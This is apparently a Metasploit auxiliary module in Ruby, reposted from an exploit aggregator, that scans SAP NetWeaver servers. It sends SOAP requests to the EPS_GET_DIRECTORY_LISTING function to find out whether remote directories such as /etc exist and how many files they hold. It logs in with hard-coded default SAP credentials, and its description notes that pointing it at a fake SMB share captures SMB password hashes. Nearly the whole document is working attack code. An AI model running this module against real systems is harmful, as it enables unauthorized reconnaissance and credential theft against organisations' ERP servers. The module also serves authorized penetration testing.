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## https://sploitus.com/exploit?id=PACKETSTORM:180991
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
##  
# This module is based on, inspired by, or is a port of a plugin available in  
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -  
# http://www.onapsis.com/research-free-solutions.php.  
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts  
# in producing the Metasploit modules and was happy to share his knowledge and  
# experience - a very cool guy.  
#  
# The following guys from ERP-SCAN deserve credit for their contributions -  
# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and  
# Dmitry Evdokimov.  
#  
# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis  
# who have Beta tested the modules and provided excellent feedback. Some people  
# just seem to enjoy hacking SAP :)  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure',  
'Description' => %q{  
This module abuses the SAP NetWeaver EPS_GET_DIRECTORY_LISTING function, on the  
SAP SOAP RFC Service, to check for remote directory existence and get the number  
of entries on it. The module can also be used to capture SMB hashes by using a fake  
SMB share as DIR.  
},  
'References' =>  
[  
[ 'URL', 'https://labs.f-secure.com/' ]  
],  
'Author' =>  
[  
'nmonkee'  
],  
'License' => MSF_LICENSE  
)  
  
register_options([  
Opt::RPORT(8000),  
OptString.new('CLIENT', [true, 'SAP Client', '001']),  
OptString.new('HttpUsername', [true, 'Username', 'SAP*']),  
OptString.new('HttpPassword', [true, 'Password', '06071992']),  
OptString.new('DIR',[true,'Directory path (e.g. /etc)','/etc'])  
])  
end  
  
def run_host(ip)  
data = '<?xml version="1.0" encoding="utf-8" ?>'  
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" '  
data << 'xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" '  
data << 'xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">'  
data << '<SOAP-ENV:Header/>'  
data << '<SOAP-ENV:Body>'  
data << '<EPS_GET_DIRECTORY_LISTING xmlns="urn:sap-com:document:sap:rfc:functions">'  
data << '<DIR_NAME>' + datastore['DIR'] + '</DIR_NAME>'  
data << '</EPS_GET_DIRECTORY_LISTING>'  
data << '</SOAP-ENV:Body>'  
data << '</SOAP-ENV:Envelope>'  
  
begin  
vprint_status("#{rhost}:#{rport} - Sending request to check #{datastore['DIR']}")  
res = send_request_cgi({  
'uri' => '/sap/bc/soap/rfc',  
'method' => 'POST',  
'data' => data,  
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),  
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],  
'ctype' => 'text/xml; charset=UTF-8',  
'headers' => {  
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',  
},  
'vars_get' => {  
'sap-client' => datastore['CLIENT'],  
'sap-language' => 'EN'  
}  
})  
if res and res.code == 200 and res.body =~ /EPS_GET_DIRECTORY_LISTING\.Response/ and res.body =~ /<FILE_COUNTER>(\d*)<\/FILE_COUNTER>/  
file_count = $1  
print_good("#{rhost}:#{rport} - #{file_count} files under #{datastore["DIR"]}")  
else  
vprint_error("#{rhost}:#{rport} - Error code: " + res.code.to_s) if res  
vprint_error("#{rhost}:#{rport} - Error message: " + res.message.to_s) if res  
vprint_error("#{rhost}:#{rport} - Error body: " + res.body.to_s) if res and res.body  
end  
rescue ::Rex::ConnectionError  
vprint_error("#{rhost}:#{rport} - Unable to connect")  
return  
end  
end  
end